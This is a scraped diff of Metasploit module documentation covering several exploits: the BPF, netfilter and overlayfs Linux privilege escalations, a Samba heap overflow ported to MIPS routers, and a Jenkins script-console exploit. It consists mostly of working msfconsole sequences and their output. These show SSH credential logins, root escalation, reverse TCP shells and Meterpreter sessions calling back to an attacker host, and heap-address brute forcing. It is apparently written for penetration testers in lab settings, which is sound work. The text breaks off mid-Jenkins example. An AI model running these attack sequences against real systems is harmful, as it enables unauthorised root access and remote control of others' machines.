||||||
|
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||||
|
|
||||||
|
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
|
||||||
|
|
||||||
|
This module has been tested against:
|
||||||
|
|
||||||
|
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
|
||||||
|
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
|
||||||
|
|
||||||
|
This module was not tested against, but may work against:
|
||||||
|
|
||||||
|
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||||
|
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||||
|
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||||
|
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
|
||||||
|
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Exploit a box via whatever method
|
||||||
|
4. Do: `use exploit/linux/local/bpf_priv_esc`
|
||||||
|
5. Do: `set session #`
|
||||||
|
6. Do: `set verbose true`
|
||||||
|
7. Do: `exploit`
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**MAXWAIT**
|
||||||
|
|
||||||
|
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A folder we can write files to. Defaults to /tmp
|
||||||
|
|
||||||
|
**COMPILE**
|
||||||
|
|
||||||
|
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
|
||||||
|
|
||||||
|
#### Initial Access
|
||||||
|
|
||||||
|
msf > use auxiliary/scanner/ssh/ssh_login
|
||||||
|
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
|
||||||
|
rhosts => 192.168.199.130
|
||||||
|
msf auxiliary(ssh_login) > set username ubuntu
|
||||||
|
username => ubuntu
|
||||||
|
msf auxiliary(ssh_login) > set password ubuntu
|
||||||
|
password => ubuntu
|
||||||
|
msf auxiliary(ssh_login) > exploit
|
||||||
|
|
||||||
|
[*] SSH - Starting bruteforce
|
||||||
|
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||||
|
[!] No active DB -- Credential data will not be saved!
|
||||||
|
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
#### Escalate
|
||||||
|
|
||||||
|
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
|
||||||
|
|
||||||
|
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||||
|
msf exploit(bpf_priv_esc) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(bpf_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||||
|
lhost => 192.168.199.131
|
||||||
|
msf exploit(bpf_priv_esc) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||||
|
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||||
|
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||||
|
[+] fuse is installed
|
||||||
|
[+] libfuse-dev is installed
|
||||||
|
[+] gcc is installed
|
||||||
|
[*] Live compiling exploit on system
|
||||||
|
[*] Writing files to target
|
||||||
|
[*] Writing hello to /tmp/hello.c
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing doubleput to /tmp/doubleput.c
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing suidhelper to /tmp/suidhelper.c
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
|
||||||
|
[*] Compiling all modules on target
|
||||||
|
[*] Writing payload to /tmp/AyDJSaMM
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||||
|
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||||
|
[+] got root, starting payload
|
||||||
|
[*] Transmitting intermediate stager...(126 bytes)
|
||||||
|
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||||
|
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
|
||||||
|
[*] Cleaning up...
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 192.168.199.130
|
||||||
|
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
|
||||||
|
Architecture : x86_64
|
||||||
|
Meterpreter : x64/linux
|
||||||
|
|
||||||
|
#### Escalate w/ pre-compiled binaries
|
||||||
|
|
||||||
|
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
|
||||||
|
|
||||||
|
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||||
|
msf exploit(bpf_priv_esc) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf exploit(bpf_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||||
|
lhost => 192.168.199.131
|
||||||
|
msf exploit(bpf_priv_esc) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||||
|
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||||
|
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||||
|
[+] fuse is installed
|
||||||
|
[-] libfuse-dev is not installed. Compiling will fail.
|
||||||
|
[*] Dropping pre-compiled exploit on system
|
||||||
|
[*] Writing pre-compiled binarys to target
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing payload to /tmp/AyDJSaMM
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||||
|
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||||
|
[+] got root, starting payload
|
||||||
|
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
|
||||||
|
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
|
||||||
|
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
|
||||||
|
[*] Transmitting intermediate stager...(126 bytes)
|
||||||
|
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||||
|
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
@ -27,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma
|
||||||
|
|
||||||
1. Start msfconsole
|
1. Start msfconsole
|
||||||
2. Exploit a box via whatever method
|
2. Exploit a box via whatever method
|
||||||
4. Do: `use exploit/linux/local/netfilter_priv_esc`
|
4. Do: `use exploit/linux/local/netfilter_priv_esc_ipv4`
|
||||||
5. Do: `set session #`
|
5. Do: `set session #`
|
||||||
6. Do: `set verbose true`
|
6. Do: `set verbose true`
|
||||||
7. Do: `exploit`
|
7. Do: `exploit`
|
||||||
|
@ -115,7 +115,7 @@ This does not work against the following vulnerable systems. Additional work ma
|
||||||
|
|
||||||
#### Escalate w/ pre-compiled binaries
|
#### Escalate w/ pre-compiled binaries
|
||||||
|
|
||||||
msf exploit(netfilter_priv_esc) > exploit
|
msf exploit(netfilter_priv_esc_ipv4) > exploit
|
||||||
|
|
||||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||||
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
||||||
|
@ -160,9 +160,9 @@ This does not work against the following vulnerable systems. Additional work ma
|
||||||
|
|
||||||
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
|
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
|
||||||
|
|
||||||
msf exploit(netfilter_priv_esc) > set reexploit true
|
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
|
||||||
reexploit => true
|
reexploit => true
|
||||||
msf exploit(netfilter_priv_esc) > exploit
|
msf exploit(netfilter_priv_esc_ipv4) > exploit
|
||||||
|
|
||||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||||
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
||||||
|
@ -191,9 +191,9 @@ In this scenario, we already exploit the box, for whatever reason our shell died
|
||||||
|
|
||||||
#### Re-exploit w/ pre-compiled binaries
|
#### Re-exploit w/ pre-compiled binaries
|
||||||
|
|
||||||
msf exploit(netfilter_priv_esc) > set reexploit true
|
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
|
||||||
reexploit => true
|
reexploit => true
|
||||||
msf exploit(netfilter_priv_esc) > exploit
|
msf exploit(netfilter_priv_esc_ipv4) > exploit
|
||||||
|
|
||||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||||
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
|
|
@ -0,0 +1,181 @@
|
||||||
|
## Creating A Testing Environment
|
||||||
|
|
||||||
|
This module has been tested against:
|
||||||
|
|
||||||
|
1. CVE-2015-1328
|
||||||
|
1. Ubuntu 14.04
|
||||||
|
1. 3.13.0-24 (binary version of exploit compiled on)
|
||||||
|
2. 3.19.0-20
|
||||||
|
3. 3.19.0-21 (not vuln, exploit failed)
|
||||||
|
4. 3.13.0-55 (not vuln, exploit failed)
|
||||||
|
2. CVE-2015-8660
|
||||||
|
1. Ubuntu 14.04
|
||||||
|
1. 3.19.0-41 (binary version of exploit compiled on)
|
||||||
|
|
||||||
|
Untested against
|
||||||
|
|
||||||
|
1. Fedora (code included to identify vuln versions)
|
||||||
|
2. Redhat (description includes vuln kernel versions)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Exploit a box via whatever method
|
||||||
|
4. Do: `use exploit/linux/local/overlayfs_priv_esc`
|
||||||
|
5. Do: `set session #`
|
||||||
|
6. Do: `set verbose true`
|
||||||
|
7. Do: `exploit`
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**COMPILE**
|
||||||
|
|
||||||
|
If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A folder we can write files to. Defaults to /tmp
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
|
||||||
|
|
||||||
|
#### Initial Access
|
||||||
|
|
||||||
|
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
|
||||||
|
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
|
||||||
|
rhosts => 192.168.2.156
|
||||||
|
resource (/root/Text-1.txt)> set username ubuntu
|
||||||
|
username => ubuntu
|
||||||
|
resource (/root/Text-1.txt)> set password ubuntu
|
||||||
|
password => ubuntu
|
||||||
|
resource (/root/Text-1.txt)> exploit
|
||||||
|
[*] SSH - Starting bruteforce
|
||||||
|
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
|
||||||
|
[!] No active DB -- Credential data will not be saved!
|
||||||
|
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
#### Escalate
|
||||||
|
|
||||||
|
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
|
||||||
|
resource (/root/Text-1.txt)> set verbose true
|
||||||
|
verbose => true
|
||||||
|
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
|
||||||
|
payload => linux/x86/shell/reverse_tcp
|
||||||
|
resource (/root/Text-1.txt)> set session 1
|
||||||
|
session => 1
|
||||||
|
resource (/root/Text-1.txt)> set target 1
|
||||||
|
target => 1
|
||||||
|
resource (/root/Text-1.txt)> set lhost 192.168.2.117
|
||||||
|
lhost => 192.168.2.117
|
||||||
|
resource (/root/Text-1.txt)> exploit
|
||||||
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||||
|
[*] Checking if mount points exist
|
||||||
|
[+] /tmp/haxhax not created
|
||||||
|
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
|
||||||
|
[+] gcc is installed
|
||||||
|
[*] Live compiling exploit on system
|
||||||
|
[*] Checking if mount points exist
|
||||||
|
[+] /tmp/haxhax not created
|
||||||
|
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
|
||||||
|
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
|
||||||
|
[*] Compiling /tmp/svF1U2Ya.c
|
||||||
|
[*] Writing to /tmp/fHCJO1ex (155 bytes)
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
|
||||||
|
[*] Exploiting...
|
||||||
|
[*] Sending stage (36 bytes) to 192.168.2.156
|
||||||
|
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
|
||||||
|
[+] Deleted /tmp/svF1U2Ya.c
|
||||||
|
[+] Deleted /tmp/fHCJO1ex
|
||||||
|
|
||||||
|
3986817421
|
||||||
|
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
|
||||||
|
true
|
||||||
|
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
|
||||||
|
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
|
||||||
|
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
|
||||||
|
true
|
||||||
|
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
|
||||||
|
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
|
||||||
|
VPsVgFTxVwskShumsJkambKWMQhifDJi
|
||||||
|
whoami
|
||||||
|
root
|
||||||
|
uname -a
|
||||||
|
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
|
||||||
|
|
||||||
|
### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
|
||||||
|
|
||||||
|
#### Initial Access
|
||||||
|
|
||||||
|
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
|
||||||
|
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
|
||||||
|
rhosts => 192.168.2.156
|
||||||
|
resource (/root/Text-1.txt)> set username ubuntu
|
||||||
|
username => ubuntu
|
||||||
|
resource (/root/Text-1.txt)> set password ubuntu
|
||||||
|
password => ubuntu
|
||||||
|
resource (/root/Text-1.txt)> exploit
|
||||||
|
[*] SSH - Starting bruteforce
|
||||||
|
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
|
||||||
|
[!] No active DB -- Credential data will not be saved!
|
||||||
|
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
#### Escalate
|
||||||
|
|
||||||
|
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
|
||||||
|
resource (overlay.rc)> set verbose true
|
||||||
|
verbose => true
|
||||||
|
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
|
||||||
|
payload => linux/x86/shell/reverse_tcp
|
||||||
|
resource (overlay.rc)> set target 0
|
||||||
|
target => 0
|
||||||
|
resource (overlay.rc)> set session 1
|
||||||
|
session => 1
|
||||||
|
resource (overlay.rc)> set lhost 192.168.2.117
|
||||||
|
lhost => 192.168.2.117
|
||||||
|
resource (overlay.rc)> exploit
|
||||||
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||||
|
[*] Checking if mount points exist
|
||||||
|
[+] /tmp/ns_sploit not created
|
||||||
|
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
|
||||||
|
[+] gcc is installed
|
||||||
|
[*] Live compiling exploit on system
|
||||||
|
[*] Checking if mount points exist
|
||||||
|
[+] /tmp/ns_sploit not created
|
||||||
|
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
|
||||||
|
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing to /tmp/ofs-lib.c (439 bytes)
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
|
||||||
|
[*] Compiling /tmp/JmK51Dpa.c
|
||||||
|
[*] Writing to /tmp/R6TrMF7f (155 bytes)
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
|
||||||
|
[*] Exploiting...
|
||||||
|
[*] Sending stage (36 bytes) to 192.168.2.156
|
||||||
|
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
|
||||||
|
[!] Tried to delete /tmp/ofs-lib.c, unknown result
|
||||||
|
[+] Deleted /tmp/JmK51Dpa
|
||||||
|
|
||||||
|
2356964145
|
||||||
|
psMfOJcKGKnafhAvALIeSFNegauafmux
|
||||||
|
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
|
||||||
|
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
|
||||||
|
true
|
||||||
|
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
|
||||||
|
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
|
||||||
|
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
|
||||||
|
sh: 0: can't access tty; job control turned off
|
||||||
|
# # # whoami
|
||||||
|
root
|
||||||
|
# uname -a
|
||||||
|
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
|
|
@ -0,0 +1,91 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
|
||||||
|
|
||||||
|
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
|
||||||
|
3. Do: `show targets` to see the possible targets
|
||||||
|
4. Do: `set target #`
|
||||||
|
5. Do: `set rhost`
|
||||||
|
6. Do: `exploit`
|
||||||
|
|
||||||
|
## MIPS port
|
||||||
|
|
||||||
|
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
|
||||||
|
|
||||||
|
### MIPS nop generator
|
||||||
|
|
||||||
|
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code.
|
||||||
|
|
||||||
|
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
|
||||||
|
|
||||||
|
### Heap address brute force
|
||||||
|
|
||||||
|
The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
|
||||||
|
|
||||||
|
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
msf > use exploit/linux/samba/lsa\_transnames_heap
|
||||||
|
msf exploit(lsa\_transnames_heap) > set target 7
|
||||||
|
target => 7
|
||||||
|
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
|
||||||
|
rhost => 192.168.1.1
|
||||||
|
msf exploit(lsa\_transnames_heap) > show options
|
||||||
|
|
||||||
|
Module options (exploit/linux/samba/lsa\_transnames_heap):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
RHOST 192.168.1.1 yes The target address
|
||||||
|
RPORT 445 yes The SMB service port
|
||||||
|
SMBPIPE LSARPC yes The pipe name to use
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
7 Linux Heap Brute Force (OpenWRT MIPS)
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(lsa\_transnames_heap) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.1.3:4444
|
||||||
|
[*] 192.168.1.1:445 - Creating nop sled....
|
||||||
|
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
|
||||||
|
[*] 192.168.1.1:445 - Connecting to the SMB service...
|
||||||
|
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Calling the vulnerable function...
|
||||||
|
[*] 192.168.1.1:445 - Server did not respond, this is expected
|
||||||
|
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
|
||||||
|
[*] 192.168.1.1:445 - Connecting to the SMB service...
|
||||||
|
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Calling the vulnerable function...
|
||||||
|
[*] 192.168.1.1:445 - Server did not respond, this is expected
|
||||||
|
|
||||||
|
...Some intermediate attempts ommitted...
|
||||||
|
|
||||||
|
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
|
||||||
|
[*] 192.168.1.1:445 - Connecting to the SMB service...
|
||||||
|
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Calling the vulnerable function...
|
||||||
|
[*] 192.168.1.1:445 - Server did not respond, this is expected
|
||||||
|
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
|
||||||
|
[*] 192.168.1.1:445 - Connecting to the SMB service...
|
||||||
|
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
|
||||||
|
[*] 192.168.1.1:445 - Calling the vulnerable function...
|
||||||
|
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
|
||||||
|
|
||||||
|
uname -a
|
||||||
|
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown
|
||||||
|
|
|
@ -0,0 +1,130 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where
|
||||||
|
binaries are available for a variety of operating systems. Both LTS and weekly
|
||||||
|
builds are available.
|
||||||
|
|
||||||
|
Default settings have the script console enabled and require a valid user
|
||||||
|
account in order to access it. A known account can be used with this module by
|
||||||
|
setting the `USERNAME` and `PASSWORD` options.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
Example steps in this format:
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
1. Start msfconsole
|
||||||
|
1. Do: ```use exploit/multi/http/jenkins_script_console```
|
||||||
|
1. Do: ```set RHOST [target host]```
|
||||||
|
1. Do: ```set TARGET [target id]```
|
||||||
|
1. Do: ```exploit```
|
||||||
|
1. You should get a shell.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**TARGETURI**
|
||||||
|
|
||||||
|
The path to the target instance of Jenkins.
|
||||||
|
|
||||||
|
**USERNAME**
|
||||||
|
|
||||||
|
A username to an account that has access to the script console. This is only
|
||||||
|
necessary if the Jenkins instance has been configured to require
|
||||||
|
authentication.
|
||||||
|
|
||||||
|
**PASSWORD**
|
||||||
|
|
||||||
|
A password to an account that has access to the script console. This is only
|
||||||
|
necessary if the Jenkins instance has been configured to require
|
||||||
|
authentication.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/jenkins_script_console
|
||||||
|
msf exploit(jenkins_script_console) > set TARGETURI /
|
||||||
|
TARGETURI => /
|
||||||
|
msf exploit(jenkins_script_console) > set USERNAME steiner
|
||||||
|
USERNAME => steiner
|
||||||
|
msf exploit(jenkins_script_console) > set PASSWORD I<3msf!
|
||||||
|
PASSWORD => I<3msf!
|
||||||
|
msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
|
||||||
|
RHOST => 192.168.254.126
|
||||||
|
msf exploit(jenkins_script_console) > set RPORT 8080
|
||||||
|
RPORT => 8080
|
||||||
|
msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||||
|
